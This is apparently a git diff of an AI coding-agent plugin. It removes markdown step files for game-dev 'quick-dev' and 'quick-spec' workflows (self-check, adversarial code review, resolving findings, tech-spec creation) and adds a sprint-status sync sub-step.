-- Not following project-context rules (if exists)
diff --git a/plugins/bmad/skills/gds-quick-dev/steps/step-04-self-check.md b/plugins/bmad/skills/gds-quick-dev/steps/step-04-self-check.md
deleted file mode 100644
index 7821b4e..0000000
--- a/plugins/bmad/skills/gds-quick-dev/steps/step-04-self-check.md
+++ /dev/null
@@ -1,113 +0,0 @@
----
-name: 'step-04-self-check'
-description: 'Self-audit implementation against tasks, tests, AC, and patterns'
-
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-dev'
-thisStepFile: './step-04-self-check.md'
-nextStepFile: './step-05-adversarial-review.md'
----
-
-# Step 4: Self-Check
-
-**Goal:** Audit completed work against tasks, tests, AC, and patterns before external review.
-
----
-
-## AVAILABLE STATE
-
-From previous steps:
-
-- `{baseline_commit}` - Git HEAD at workflow start
-- `{execution_mode}` - "tech-spec" or "direct"
-- `{tech_spec_path}` - Tech-spec file (if Mode A)
-- `{project_context}` - Project patterns (if exists)
-
----
-
-## SELF-CHECK AUDIT
-
-### 1. Tasks Complete
-
-Verify all tasks are marked complete:
-
-- [ ] All tasks from tech-spec or mental plan marked `[x]`
-- [ ] No tasks skipped without documented reason
-- [ ] Any blocked tasks have clear explanation
-
-### 2. Tests Passing
-
-Verify test status:
-
-- [ ] All existing tests still pass
-- [ ] New tests written for new functionality
-- [ ] No test warnings or skipped tests without reason
-
-### 3. Acceptance Criteria Satisfied
-
-For each AC:
-
-- [ ] AC is demonstrably met
-- [ ] Can explain how implementation satisfies AC
-- [ ] Edge cases considered
-
-### 4. Patterns Followed
-
-Verify code quality:
-
-- [ ] Follows existing code patterns in codebase
-- [ ] Follows project-context rules (if exists)
-- [ ] Error handling consistent with codebase
-- [ ] No obvious code smells introduced
-
----
-
-## UPDATE TECH-SPEC (Mode A only)
-
-If `{execution_mode}` is "tech-spec":
-
-1. Load `{tech_spec_path}`
-2. Mark all tasks as `[x]` complete
-3. Update status to "Implementation Complete"
-4. Save changes
-
----
-
-## IMPLEMENTATION SUMMARY
-
-Present summary to transition to review:
-
-```
-**Implementation Complete!**
-
-**Summary:** {what was implemented}
-**Files Modified:** {list of files}
-**Tests:** {test summary - passed/added/etc}
-**AC Status:** {all satisfied / issues noted}
-
-Proceeding to adversarial code review...
-```
-
----
-
-## NEXT STEP
-
-Proceed immediately to `step-05-adversarial-review.md`.
-
----
-
-## SUCCESS METRICS
-
-- All tasks verified complete
-- All tests passing
-- All AC satisfied
-- Patterns followed
-- Tech-spec updated (if Mode A)
-- Summary presented
-
-## FAILURE MODES
-
-- Claiming tasks complete when they're not
-- Not running tests before proceeding
-- Missing AC verification
-- Ignoring pattern violations
-- Not updating tech-spec status (Mode A)
diff --git a/plugins/bmad/skills/gds-quick-dev/steps/step-05-adversarial-review.md b/plugins/bmad/skills/gds-quick-dev/steps/step-05-adversarial-review.md
deleted file mode 100644
index 6ad784c..0000000
--- a/plugins/bmad/skills/gds-quick-dev/steps/step-05-adversarial-review.md
+++ /dev/null
@@ -1,106 +0,0 @@
----
-name: 'step-05-adversarial-review'
-description: 'Construct diff and invoke adversarial review task'
-
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-dev'
-thisStepFile: './step-05-adversarial-review.md'
-nextStepFile: './step-06-resolve-findings.md'
----
-
-# Step 5: Adversarial Code Review
-
-**Goal:** Construct diff of all changes, invoke adversarial review task, present findings.
-
----
-
-## AVAILABLE STATE
-
-From previous steps:
-
-- `{baseline_commit}` - Git HEAD at workflow start (CRITICAL for diff)
-- `{execution_mode}` - "tech-spec" or "direct"
-- `{tech_spec_path}` - Tech-spec file (if Mode A)
-
----
-
-### 1. Construct Diff
-
-Build complete diff of all changes since workflow started.
-
-### If `{baseline_commit}` is a Git commit hash:
-
-**Tracked File Changes:**
-
-```bash
-git diff {baseline_commit}
-```
-
-**New Untracked Files:**
-Only include untracked files that YOU created during this workflow (steps 2-4).
-Do not include pre-existing untracked files.
-For each new file created, include its full content as a "new file" addition.
-
-### If `{baseline_commit}` is "NO_GIT":
-
-Use best-effort diff construction:
-
-- List all files you modified during steps 2-4
-- For each file, show the changes you made (before/after if you recall, or just current state)
-- Include any new files you created with their full content
-- Note: This is less precise than Git diff but still enables meaningful review
-
-### Capture as {diff_output}
-
-Merge all changes into `{diff_output}`.
-
-**Note:** Do NOT `git add` anything - this is read-only inspection.
-
----
-
-### 2. Invoke Adversarial Review
-
-With `{diff_output}` constructed, invoke the review task. If possible, use information asymmetry: run this step, and only it, in a separate subagent or process with read access to the project, but no context except the `{diff_output}`.
-
-```xml
-<invoke-task>Review {diff_output} using ${CLAUDE_PLUGIN_ROOT}/_shared/tasks/review-adversarial-general.xml</invoke-task>
-```
-
-**Platform fallback:** If task invocation not available, load the task file and execute its instructions inline, passing `{diff_output}` as the content.
-
-The task should: review `{diff_output}` and return a list of findings.
-
----
-
-### 3. Process Findings
-
-Capture the findings from the task output.
-**If zero findings:** HALT - this is suspicious. Re-analyze or request user guidance.
-Evaluate severity (Critical, High, Medium, Low) and validity (real, noise, undecided).
-DO NOT exclude findings based on severity or validity unless explicitly asked to do so.
-Order findings by severity.
-Number the ordered findings (F1, F2, F3, etc.).
-If TodoWrite or similar tool is available, turn each finding into a TODO, include ID, severity, validity, and description in the TODO; otherwise present findings as a table with columns: ID, Severity, Validity, Description
-
----
-
-## NEXT STEP
-
-With findings in hand, load `step-06-resolve-findings.md` for user to choose resolution approach.
-
----
-
-## SUCCESS METRICS
-
-- Diff constructed from baseline_commit
-- New files included in diff
-- Task invoked with diff as input
-- Findings received
-- Findings processed into TODOs or table and presented to user
-
-## FAILURE MODES
-
-- Missing baseline_commit (can't construct accurate diff)
-- Not including new untracked files in diff
-- Invoking task without providing diff input
-- Accepting zero findings without questioning
-- Presenting fewer findings than the review task returned without explicit instruction to do so
diff --git a/plugins/bmad/skills/gds-quick-dev/steps/step-06-resolve-findings.md b/plugins/bmad/skills/gds-quick-dev/steps/step-06-resolve-findings.md
deleted file mode 100644
index 67ed2ec..0000000
--- a/plugins/bmad/skills/gds-quick-dev/steps/step-06-resolve-findings.md
+++ /dev/null
@@ -1,140 +0,0 @@
----
-name: 'step-06-resolve-findings'
-description: 'Handle review findings interactively, apply fixes, update tech-spec with final status'
-
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-dev'
-thisStepFile: './step-06-resolve-findings.md'
----
-
-# Step 6: Resolve Findings
-
-**Goal:** Handle adversarial review findings interactively, apply fixes, finalize tech-spec.
-
----
-
-## AVAILABLE STATE
-
-From previous steps:
-
-- `{baseline_commit}` - Git HEAD at workflow start
-- `{execution_mode}` - "tech-spec" or "direct"
-- `{tech_spec_path}` - Tech-spec file (if Mode A)
-- Findings table from step-05
-
----
-
-## RESOLUTION OPTIONS
-
-Present choice to user:
-
-```
-How would you like to handle these findings?
-
-**[1] Walk through** - Discuss each finding individually
-**[2] Auto-fix** - Automatically fix issues classified as "real"
-**[3] Skip** - Acknowledge and proceed to commit
-```
-
----
-
-## OPTION 1: WALK THROUGH
-
-For each finding in order:
-
-1. Present the finding with context
-2. Ask: **fix now / skip / discuss**
-3. If fix: Apply the fix immediately
-4. If skip: Note as acknowledged, continue
-5. If discuss: Provide more context, re-ask
-6. Move to next finding
-
-After all findings processed, summarize what was fixed/skipped.
-
----
-
-## OPTION 2: AUTO-FIX
-
-1. Filter findings to only those classified as "real"
-2. Apply fixes for each real finding
-3. Report what was fixed:
-
-```
-**Auto-fix Applied:**
-- F1: {description of fix}
-- F3: {description of fix}
-...
-
-Skipped (noise/uncertain): F2, F4
-```
-
----
-
-## OPTION 3: SKIP
-
-1. Acknowledge all findings were reviewed
-2. Note that user chose to proceed without fixes
-3. Continue to completion
-
----
-
-## UPDATE TECH-SPEC (Mode A only)
-
-If `{execution_mode}` is "tech-spec":
-
-1. Load `{tech_spec_path}`
-2. Update status to "Completed"
-3. Add review notes:
-   ```
-   ## Review Notes
-   - Adversarial review completed
-   - Findings: {count} total, {fixed} fixed, {skipped} skipped
-   - Resolution approach: {walk-through/auto-fix/skip}
-   ```
-4. Save changes
-
----
-
-## COMPLETION OUTPUT
-
-```
-**Review complete. Ready to commit.**
-
-**Implementation Summary:**
-- {what was implemented}
-- Files modified: {count}
-- Tests: {status}
-- Review findings: {X} addressed, {Y} skipped
-
-{Explain what was implemented based on game_dev_experience}
-```
-
----
-
-## WORKFLOW COMPLETE
-
-This is the final step. The Quick Dev workflow is now complete.
-
-User can:
-
-- Commit changes
-- Run additional tests
-- Start new Quick Dev session
-
----
-
-## SUCCESS METRICS
-
-- User presented with resolution options
-- Chosen approach executed correctly
-- Fixes applied cleanly (if applicable)
-- Tech-spec updated with final status (Mode A)
-- Completion summary provided
-- User understands what was implemented
-
-## FAILURE MODES
-
-- Not presenting resolution options
-- Auto-fixing "noise" or "uncertain" findings
-- Not updating tech-spec after resolution (Mode A)
-- No completion summary
-- Leaving user unclear on next steps
diff --git a/plugins/bmad/skills/gds-quick-dev/sync-sprint-status.md b/plugins/bmad/skills/gds-quick-dev/sync-sprint-status.md
new file mode 100644
index 0000000..2ee1651
--- /dev/null
+++ b/plugins/bmad/skills/gds-quick-dev/sync-sprint-status.md
@@ -0,0 +1,19 @@
+# Sync Sprint Status
+
+Shared sub-step for updating `sprint-status.yaml` during quick-dev. Called from any route (plan-code-review, one-shot, future routes) with a `{target_status}` parameter.
+
+## Preconditions
+
+Skip this entire file (return to caller) if ANY of:
+- `{story_key}` is unset
+- `{sprint_status}` does not exist on disk
+
+## Instructions
+
+1. Load the FULL `{sprint_status}` file.
+2. Find the `development_status` entry matching `{story_key}`. If not found, warn the user once (`"{story_key} not found in sprint-status; skipping sprint sync"`) and return to caller.
+3. **Idempotency check.** If `development_status[{story_key}]` is already at `{target_status}` or a later state (`review` is later than `in-progress`; `done` is later than both), return to caller — no write needed. Never regress a story's status.
+4. Set `development_status[{story_key}]` to `{target_status}`.
+5. **Epic lift (only when `{target_status}` = `in-progress`).** Derive the parent epic key as `epic-{N}` from the leading numeric segment of `{story_key}` (e.g., `3-2-digest-delivery` → `epic-3`). If that entry exists and is `backlog`, set it to `in-progress`. Leave it alone otherwise. Skip this sub-step entirely when `{target_status}` is not `in-progress`.
+6. Refresh `last_updated` to the current date.
+7. Save the file, preserving ALL comments and structure including STATUS DEFINITIONS and WORKFLOW NOTES.
diff --git a/plugins/bmad/skills/gds-quick-spec/SKILL.md b/plugins/bmad/skills/gds-quick-spec/SKILL.md
deleted file mode 100644
index c30fa59..0000000
--- a/plugins/bmad/skills/gds-quick-spec/SKILL.md
+++ /dev/null
@@ -1,6 +0,0 @@
----
-name: gds-quick-spec
-description: 'Create technical specs with implementation-ready stories. Use when the user says "quick spec" or "tech spec"'
----
-
-Follow the instructions in [workflow.md](workflow.md).
diff --git a/plugins/bmad/skills/gds-quick-spec/steps/step-01-understand.md b/plugins/bmad/skills/gds-quick-spec/steps/step-01-understand.md
deleted file mode 100644
index 2cbc0cf..0000000
--- a/plugins/bmad/skills/gds-quick-spec/steps/step-01-understand.md
+++ /dev/null
@@ -1,189 +0,0 @@
----
-name: 'step-01-understand'
-description: 'Analyze the requirement delta between current state and what user wants to build'
-
-templateFile: '../tech-spec-template.md'
-wipFile: '{implementation_artifacts}/tech-spec-wip.md'
----
-
-# Step 1: Analyze Requirement Delta
-
-**Progress: Step 1 of 4** - Next: Deep Investigation
-
-## RULES:
-
-- MUST NOT skip steps.
-- MUST NOT optimize sequence.
-- MUST follow exact instructions.
-- MUST NOT look ahead to future steps.
-- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
-
-## CONTEXT:
-
-- Variables from `workflow.md` are available in memory.
-- Focus: Define the technical requirement delta and scope.
-- Investigation: Perform surface-level code scans ONLY to verify the delta. Reserve deep dives into implementation consequences for Step 2.
-- Objective: Establish a verifiable delta between current state and target state.
-
-## SEQUENCE OF INSTRUCTIONS
-
-### 0. Check for Work in Progress
-
-a) **Before anything else, check if `{wipFile}` exists:**
-
-b) **IF WIP FILE EXISTS:**
-
-1. Read the frontmatter and extract: `title`, `slug`, `stepsCompleted`
-2. Calculate progress: `lastStep = max(stepsCompleted)`
-3. Present to user:
-
-```
-Hey {user_name}! Found a tech-spec in progress:
-
-**{title}** - Step {lastStep} of 4 complete
-
-Is this what you're here to continue?
-
-[Y] Yes, pick up where I left off
-[N] No, archive it and start something new
-```
-
-4. **HALT and wait for user selection.**
-
-a) **Menu Handling:**
-
-- **[Y] Continue existing:**
-  - Jump directly to the appropriate step based on `stepsCompleted`:
-    - `[1]` → Read fully and follow: `${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-spec/steps/step-02-investigate.md` (Step 2)
-    - `[1, 2]` → Read fully and follow: `${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-spec/steps/step-03-generate.md` (Step 3)
-    - `[1, 2, 3]` → Read fully and follow: `${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-spec/steps/step-04-review.md` (Step 4)
-- **[N] Archive and start fresh:**
-  - Rename `{wipFile}` to `{implementation_artifacts}/tech-spec-{slug}-archived-{date}.md`
-
-### 1. Greet and Ask for Initial Request
-
-a) **Greet the user briefly:**
-
-"Hey {user_name}! What are we building today?"
-
-b) **Get their initial description.** Don't ask detailed questions yet - just understand enough to know where to look.
-
-### 2. Quick Orient Scan
-
-a) **Before asking detailed questions, do a rapid scan to understand the landscape:**
-
-b) **Check for existing context docs:**
-
-- Check `{output_folder}` and `{planning_artifacts}` for planning documents (GDD, architecture, epics, research)
-- Check for `**/project-context.md` - if it exists, skim for patterns and conventions
-- Check for any existing stories or specs related to user's request
-
-c) **If user mentioned specific code/features, do a quick scan:**
-
-- Search for relevant files/classes/functions they mentioned
-- Skim the structure (don't deep-dive yet - that's Step 2)
-- Note: tech stack, obvious patterns, file locations
-
-d) **Build mental model:**
-
-- What's the likely landscape for this feature?
-- What's the likely scope based on what you found?
-- What questions do you NOW have, informed by the code?
-
-**This scan should take < 30 seconds. Just enough to ask smart questions.**
-
-### 3. Ask Informed Questions
-
-a) **Now ask clarifying questions - but make them INFORMED by what you found:**
-
-Instead of generic questions like "What's the scope?", ask specific ones like:
-- "`PlayerController` handles movement in the update loop — should the new mechanic extend that class or live in a dedicated component?"
-- "`GameStateManager` uses a singleton pattern for state — should we follow that or introduce a new approach?"
-- "The GDD mentions X - is this related?"
-
-**Adapt to {game_dev_experience}.** Technical users want technical questions. Non-technical users need translation.
-
-b) **If no existing code is found:**
-
-- Ask about intended architecture, patterns, constraints
-- Ask what similar systems they'd like to emulate
-
-### 4. Capture Core Understanding
-
-a) **From the conversation, extract and confirm:**
-
-- **Title**: A clear, concise name for this work
-- **Slug**: URL-safe version of title (lowercase, hyphens, no spaces)
-- **Problem Statement**: What problem are we solving?
-- **Solution**: High-level approach (1-2 sentences)
-- **In Scope**: What's included
-- **Out of Scope**: What's explicitly NOT included
-
-b) **Ask the user to confirm the captured understanding before proceeding.**
-
-### 5. Initialize WIP File
-
-a) **Create the tech-spec WIP file:**
-
-1. Copy template from `{templateFile}`
-2. Write to `{wipFile}`
-3. Update frontmatter with captured values:
-   ```yaml
-   ---
-   title: '{title}'
-   slug: '{slug}'
-   created: '{date}'
-   status: 'in-progress'
-   stepsCompleted: [1]
-   tech_stack: []
-   files_to_modify: []
-   code_patterns: []
-   test_patterns: []
-   ---
-   ```
-4. Fill in Overview section with Problem Statement, Solution, and Scope
-5. Fill in Context for Development section with any technical preferences or constraints gathered during informed discovery.
-6. Write the file
-
-b) **Report to user:**
-
-"Created: `{wipFile}`
-
-**Captured:**
-
-- Title: {title}
-- Problem: {problem_statement_summary}
-- Scope: {scope_summary}"
-
-### 6. Present Checkpoint Menu
-
-a) **Display menu:**
-
-Display: "**Select:** [A] Advanced Elicitation [P] Party Mode [C] Continue to Deep Investigation (Step 2 of 4)"
-
-b) **HALT and wait for user selection.**
-
-#### Menu Handling Logic:
-
-- IF A: Read fully and follow: `{advanced_elicitation}` with current tech-spec content, process enhanced insights, ask user "Accept improvements? (y/n)", if yes update WIP file then redisplay menu, if no keep original then redisplay menu
-- IF P: Read fully and follow: `{party_mode_exec}` with current tech-spec content, process collaborative insights, ask user "Accept changes? (y/n)", if yes update WIP file then redisplay menu, if no keep original then redisplay menu
-- IF C: Verify `{wipFile}` has `stepsCompleted: [1]`, then read fully and follow: `${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-spec/steps/step-02-investigate.md`
-- IF Any other comments or queries: respond helpfully then redisplay menu
-
-#### EXECUTION RULES:
-
-- ALWAYS halt and wait for user input after presenting menu
-- ONLY proceed to next step when user selects 'C'
-- After A or P execution, return to this menu
-
----
-
-## REQUIRED OUTPUTS:
-
-- MUST initialize WIP file with captured metadata.
-
-## VERIFICATION CHECKLIST:
-
-- [ ] WIP check performed FIRST before any greeting.
-- [ ] `{wipFile}` created with correct frontmatter, Overview, Context for Development, and `stepsCompleted: [1]`.
-- [ ] User selected [C] to continue.
diff --git a/plugins/bmad/skills/gds-quick-spec/steps/step-02-investigate.md b/plugins/bmad/skills/gds-quick-spec/steps/step-02-investigate.md
deleted file mode 100644
index 9dc1fb4..0000000
--- a/plugins/bmad/skills/gds-quick-spec/steps/step-02-investigate.md
+++ /dev/null
@@ -1,143 +0,0 @@
----
-name: 'step-02-investigate'
-description: 'Map technical constraints and anchor points within the codebase'
-
-wipFile: '{implementation_artifacts}/tech-spec-wip.md'
----
-
-# Step 2: Map Technical Constraints & Anchor Points
-
-**Progress: Step 2 of 4** - Next: Generate Plan
-
-## RULES:
-
-- MUST NOT skip steps.
-- MUST NOT optimize sequence.
-- MUST follow exact instructions.
-- MUST NOT generate the full spec yet (that's Step 3).
-- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
-
-## CONTEXT:
-
-- Requires `{wipFile}` from Step 1 with the "Problem Statement" defined.
-- Focus: Map the problem statement to specific anchor points in the codebase.
-- Output: Exact files to touch, classes/patterns to extend, and technical constraints identified.
-- Objective: Provide the implementation-ready ground truth for the plan.
-
-## SEQUENCE OF INSTRUCTIONS
-
-### 1. Load Current State
-
-**Read `{wipFile}` and extract:**
-
-- Problem statement and scope from Overview section
-- Any context gathered in Step 1
-
-### 2. Execute Investigation Path
-
-**Universal Code Investigation:**
-
-_Isolate deep exploration in sub-agents/tasks where available. Return distilled summaries only to prevent context snowballing._
-
-a) **Build on Step 1's Quick Scan**
-
-Review what was found in Step 1's orient scan. Then ask:
-
-"Based on my quick look, I see [files/patterns found]. Are there other files or directories I should investigate deeply?"
-
-b) **Read and Analyze Code**
-
-For each file/directory provided:
-
-- Read the complete file(s)
-- Identify patterns, conventions, coding style
-- Note dependencies and imports
-- Find related test files
-
-**If NO relevant code is found (Clean Slate):**
-
-- Identify the target directory where the feature should live.
-- Scan parent directories for architectural context.
-- Identify standard project utilities or boilerplate that SHOULD be used.
-- Document this as "Confirmed Clean Slate" - establishing that no legacy constraints exist.
-
-
-c) **Document Technical Context**
-
-Capture and confirm with user:
-
-- **Tech Stack**: Languages, frameworks, libraries (engine version, scripting language, etc.)
-- **Code Patterns**: Architecture patterns, naming conventions, file structure
-- **Files to Modify/Create**: Specific files that will need changes or new files to be created
-- **Test Patterns**: How tests are structured, test frameworks used
-
-d) **Look for project-context.md**
-
-If `**/project-context.md` exists and wasn't loaded in Step 1:
-
-- Load it now
-- Extract patterns and conventions
-- Note any rules that must be followed
-
-### 3. Update WIP File
-
-**Update `{wipFile}` frontmatter:**
-
-```yaml
----
-# ... existing frontmatter ...
-stepsCompleted: [1, 2]
-tech_stack: ['{captured_tech_stack}']
-files_to_modify: ['{captured_files}']
-code_patterns: ['{captured_patterns}']
-test_patterns: ['{captured_test_patterns}']
----
-```
-
-**Update the Context for Development section:**
-
-Fill in:
-
-- Codebase Patterns (from investigation)
-- Files to Reference table (files reviewed)
-- Technical Decisions (any decisions made during investigation)
-
-**Report to user:**
-
-"**Context Gathered:**
-
-- Tech Stack: {tech_stack_summary}
-- Files to Modify: {files_count} files identified
-- Patterns: {patterns_summary}
-- Tests: {test_patterns_summary}"
-
-### 4. Present Checkpoint Menu
-
-Display: "**Select:** [A] Advanced Elicitation [P] Party Mode [C] Continue to Generate Spec (Step 3 of 4)"
-
-**HALT and wait for user selection.**
-
-#### Menu Handling Logic:
-
-- IF A: Read fully and follow: `{advanced_elicitation}` with current tech-spec content, process enhanced insights, ask user "Accept improvements? (y/n)", if yes update WIP file then redisplay menu, if no keep original then redisplay menu
-- IF P: Read fully and follow: `{party_mode_exec}` with current tech-spec content, process collaborative insights, ask user "Accept changes? (y/n)", if yes update WIP file then redisplay menu, if no keep original then redisplay menu
-- IF C: Verify frontmatter updated with `stepsCompleted: [1, 2]`, then read fully and follow: `${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-spec/steps/step-03-generate.md`
-- IF Any other comments or queries: respond helpfully then redisplay menu
-
-#### EXECUTION RULES:
-
-- ALWAYS halt and wait for user input after presenting menu
-- ONLY proceed to next step when user selects 'C'
-- After A or P execution, return to this menu
-
----
-
-## REQUIRED OUTPUTS:
-
-- MUST document technical context (stack, patterns, files identified).
-- MUST update `{wipFile}` with functional context.
-
-## VERIFICATION CHECKLIST:
-
-- [ ] Technical mapping performed and documented.
-- [ ] `stepsCompleted: [1, 2]` set in frontmatter.
diff --git a/plugins/bmad/skills/gds-quick-spec/steps/step-03-generate.md b/plugins/bmad/skills/gds-quick-spec/steps/step-03-generate.md
deleted file mode 100644
index 0b34aa5..0000000
--- a/plugins/bmad/skills/gds-quick-spec/steps/step-03-generate.md
+++ /dev/null
@@ -1,126 +0,0 @@
----
-name: 'step-03-generate'
-description: 'Build the implementation plan based on the technical mapping of constraints'
-
-wipFile: '{implementation_artifacts}/tech-spec-wip.md'
----
-
-# Step 3: Generate Implementation Plan
-
-**Progress: Step 3 of 4** - Next: Review & Finalize
-
-## RULES:
-
-- MUST NOT skip steps.
-- MUST NOT optimize sequence.
-- MUST follow exact instructions.
-- MUST NOT implement anything - just document.
-- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
-
-## CONTEXT:
-
-- Requires `{wipFile}` with defined "Overview" and "Context for Development" sections.
-- Focus: Create the implementation sequence that addresses the requirement delta using the captured technical context.
-- Output: Implementation-ready tasks with specific files and instructions.
-- Target: Meet the **READY FOR DEVELOPMENT** standard defined in `workflow.md`.
-
-## SEQUENCE OF INSTRUCTIONS
-
-### 1. Load Current State
-
-**Read `{wipFile}` completely and extract:**
-
-- All frontmatter values
-- Overview section (Problem, Solution, Scope)
-- Context for Development section (Patterns, Files, Decisions)
-
-### 2. Generate Implementation Plan
-
-Generate specific implementation tasks:
-
-a) **Task Breakdown**
-
-- Each task should be a discrete, completable unit of work
-- Tasks should be ordered logically (dependencies first)
-- Include the specific files to modify in each task
-- Be explicit about what changes to make
-
-b) **Task Format**
-
-```markdown
-- [ ] Task N: Clear action description
-  - File: `path/to/file.ext`
-  - Action: Specific change to make
-  - Notes: Any implementation details
-```
-
-### 3. Generate Acceptance Criteria
-
-**Create testable acceptance criteria:**
-
-Each AC should follow Given/When/Then format:
-
-```markdown
-- [ ] AC N: Given [precondition], when [action], then [expected result]
-```
-
-**Ensure ACs cover:**
-
-- Happy path functionality
-- Error handling
-- Edge cases (if relevant)
-- Integration points (if relevant)
-
-### 4. Complete Additional Context
-
-**Fill in remaining sections:**
-
-a) **Dependencies**
-
-- External libraries or services needed
-- Other tasks or features this depends on
-- API or data dependencies
-
-b) **Testing Strategy**
-
-- Unit tests needed
-- Integration tests needed
-- Manual testing steps
-
-c) **Notes**
-
-- High-risk items from pre-mortem analysis
-- Known limitations
-- Future considerations (out of scope but worth noting)
-
-### 5. Write Complete Spec
-
-a) **Update `{wipFile}` with all generated content:**
-
-- Ensure all template sections are filled in
-- No placeholder text remaining
-- All frontmatter values current
-- Update status to 'review' (NOT 'ready-for-dev' - that happens after user review in Step 4)
-
-b) **Update frontmatter:**
-
-```yaml
----
-# ... existing values ...
-status: 'review'
-stepsCompleted: [1, 2, 3]
----
-```
-
-c) **Read fully and follow: `${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-spec/steps/step-04-review.md` (Step 4)**
-
-## REQUIRED OUTPUTS:
-
-- Tasks MUST be specific, actionable, ordered logically, with files to modify.
-- ACs MUST be testable, using Given/When/Then format.
-- Status MUST be updated to 'review'.
-
-## VERIFICATION CHECKLIST:
-
-- [ ] `stepsCompleted: [1, 2, 3]` set in frontmatter.
-- [ ] Spec meets the **READY FOR DEVELOPMENT** standard.
diff --git a/plugins/bmad/skills/gds-quick-spec/steps/step-04-review.md b/plugins/bmad/skills/gds-quick-spec/steps/step-04-review.md
deleted file mode 100644
index 657b6b6..0000000
--- a/plugins/bmad/skills/gds-quick-spec/steps/step-04-review.md
+++ /dev/null
@@ -1,200 +0,0 @@
----
-name: 'step-04-review'
-description: 'Review and finalize the tech-spec'
-
-wipFile: '{implementation_artifacts}/tech-spec-wip.md'
----
-
-# Step 4: Review & Finalize
-
-**Progress: Step 4 of 4** - Final Step
-
-## RULES:
-
-- MUST NOT skip steps.
-- MUST NOT optimize sequence.
-- MUST follow exact instructions.
-- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
-
-## CONTEXT:
-
-- Requires `{wipFile}` from Step 3.
-- MUST present COMPLETE spec content. Iterate until user is satisfied.
-- **Criteria**: The spec MUST meet the **READY FOR DEVELOPMENT** standard defined in `workflow.md`.
-
-## SEQUENCE OF INSTRUCTIONS
-
-### 1. Load and Present Complete Spec
-
-**Read `{wipFile}` completely and extract `slug` from frontmatter for later use.**
-
-**Present to user:**
-
-"Here's your complete tech-spec. Please review:"
-
-[Display the complete spec content - all sections]
-
-"**Quick Summary:**
-
-- {task_count} tasks to implement
-- {ac_count} acceptance criteria to verify
-- {files_count} files to modify"
-
-**Present review menu:**
-
-Display: "**Select:** [C] Continue [E] Edit [Q] Questions [A] Advanced Elicitation [P] Party Mode"
-
-**HALT and wait for user selection.**
-
-#### Menu Handling Logic:
-
-- IF C: Proceed to Section 3 (Finalize the Spec)
-- IF E: Proceed to Section 2 (Handle Review Feedback), then return here and redisplay menu
-- IF Q: Answer questions, then redisplay this menu
-- IF A: Read fully and follow: `{advanced_elicitation}` with current spec content, process enhanced insights, ask user "Accept improvements? (y/n)", if yes update spec then redisplay menu, if no keep original then redisplay menu
-- IF P: Read fully and follow: `{party_mode_exec}` with current spec content, process collaborative insights, ask user "Accept changes? (y/n)", if yes update spec then redisplay menu, if no keep original then redisplay menu
-- IF Any other comments or queries: respond helpfully then redisplay menu
-
-#### EXECUTION RULES:
-
-- ALWAYS halt and wait for user input after presenting menu
-- ONLY proceed to finalize when user selects 'C'
-- After other menu items execution, return to this menu
-
-### 2. Handle Review Feedback
-
-a) **If user requests changes:**
-
-- Make the requested edits to `{wipFile}`
-- Re-present the affected sections
-- Ask if there are more changes
-- Loop until user is satisfied
-
-b) **If the spec does NOT meet the "Ready for Development" standard:**
-
-- Point out the missing/weak sections (e.g., non-actionable tasks, missing ACs).
-- Propose specific improvements to reach the standard.
-- Make the edits once the user agrees.
-
-c) **If user has questions:**
-
-- Answer questions about the spec
-- Clarify any confusing sections
-- Make clarifying edits if needed
-
-### 3. Finalize the Spec
-
-**When user confirms the spec is good AND it meets the "Ready for Development" standard:**
-
-a) Update `{wipFile}` frontmatter:
-
-   ```yaml
-   ---
-   # ... existing values ...
-   status: 'ready-for-dev'
-   stepsCompleted: [1, 2, 3, 4]
-   ---
-   ```
-
-b) **Rename WIP file to final filename:**
-   - Using the `slug` extracted in Section 1
-   - Rename `{wipFile}` → `{implementation_artifacts}/tech-spec-{slug}.md`
-   - Store this as `finalFile` for use in menus below
-
-### 4. Present Final Menu
-
-a) **Display completion message and menu:**
-
-```
-**Tech-Spec Complete!**
-
-Saved to: {finalFile}
-
----
-
-**Next Steps:**
-
-[A] Advanced Elicitation - refine further
-[R] Adversarial Review - critique of the spec (highly recommended)
-[B] Begin Development - start implementing now (not recommended)
-[D] Done - exit workflow
-[P] Party Mode - get expert feedback before dev
-
----
-
-Once you are fully satisfied with the spec (ideally after **Adversarial Review** and maybe a few rounds of **Advanced Elicitation**), it is recommended to run implementation in a FRESH CONTEXT for best results.
-
-Copy this prompt to start dev:
-
-\`\`\`
-quick-dev {finalFile}
-\`\`\`
-
-This ensures the dev agent has clean context focused solely on implementation.
-```
-
-b) **HALT and wait for user selection.**
-
-#### Menu Handling Logic:
-
-- IF A: Read fully and follow: `{advanced_elicitation}` with current spec content, process enhanced insights, ask user "Accept improvements? (y/n)", if yes update spec then redisplay menu, if no keep original then redisplay menu
-- IF B: Read fully and follow: `{quick_dev_workflow}` with the final spec file (warn: fresh context is better)
-- IF D: Exit workflow - display final confirmation and path to spec
-- IF P: Read fully and follow: `{party_mode_exec}` with current spec content, process collaborative insights, ask user "Accept changes? (y/n)", if yes update spec then redisplay menu, if no keep original then redisplay menu
-- IF R: Execute Adversarial Review (see below)
-- IF Any other comments or queries: respond helpfully then redisplay menu
-
-#### EXECUTION RULES:
-
-- ALWAYS halt and wait for user input after presenting menu
-- After A, P, or R execution, return to this menu
-
-#### Adversarial Review [R] Process:
-
-1. **Invoke Adversarial Review Task**:
-       > With `{finalFile}` constructed, invoke the review task. If possible, use information asymmetry: run this task, and only it, in a separate subagent or process with read access to the project, but no context except the `{finalFile}`.
-       <invoke-task>Review {finalFile} using ${CLAUDE_PLUGIN_ROOT}/_shared/tasks/review-adversarial-general.xml</invoke-task>
-       > **Platform fallback:** If task invocation not available, load the task file and execute its instructions inline, passing `{finalFile}` as the content.
